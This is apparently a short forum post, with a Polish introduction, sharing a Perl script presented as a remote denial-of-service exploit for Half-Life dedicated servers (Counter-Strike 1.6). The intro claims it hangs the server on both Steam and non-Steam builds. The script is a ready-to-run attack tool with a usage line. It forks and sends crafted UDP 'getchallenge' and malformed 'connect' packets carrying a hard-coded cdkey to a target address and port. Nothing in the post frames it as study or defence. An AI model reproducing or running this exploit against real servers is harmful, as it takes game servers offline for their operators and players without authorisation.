Perl HLDS DDOS exploit

powoduje zwieche serwera bo probuje nawiazac poloaczenia, powinno dzialc niezlaeznie od tego czy steam czy nosteam.

#!/usr/bin/perl
# modded version for port
 
# Half-Life engine remote DoS exploit
# bug found by Firestorm
# tested against cstrike 1.6 Windows build-in server, cstrike 1.6 linux dedicated server
 
use IO::Socket;
die "usage: perl cs_exploit.pl <adress> <port>" unless $ARGV[0];
$host=$ARGV[0];
$port=$ARGV[1];
if (fork())
{ econnect($host); }
else
{ econnect($host); };
exit;
 
sub econnect($)
{
my $host=$_[0];
my $sock = new IO::Socket::INET(PeerAddr=>$host,PeerPort=>$port,Proto=>'udp');
die "Could not create socket: $!\n" unless $sock;
$cmd="\xff\xff\xff\xff";
syswrite $sock, $cmd."getchallenge";
 
sysread $sock,$b,65535; print $b,"\n";
@c=split(/ /,$b);
 
$c2=$c[1];
$q=$cmd."connect 47 $c2 \"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a36258af1bb64ed866538c9db76\"\"\\\"\0\0";
print "",'>',$q,"\n";
syswrite $sock, $q;
sysread $sock,$b,65535; print $b,"\n";
sleep 3;
close $sock;
}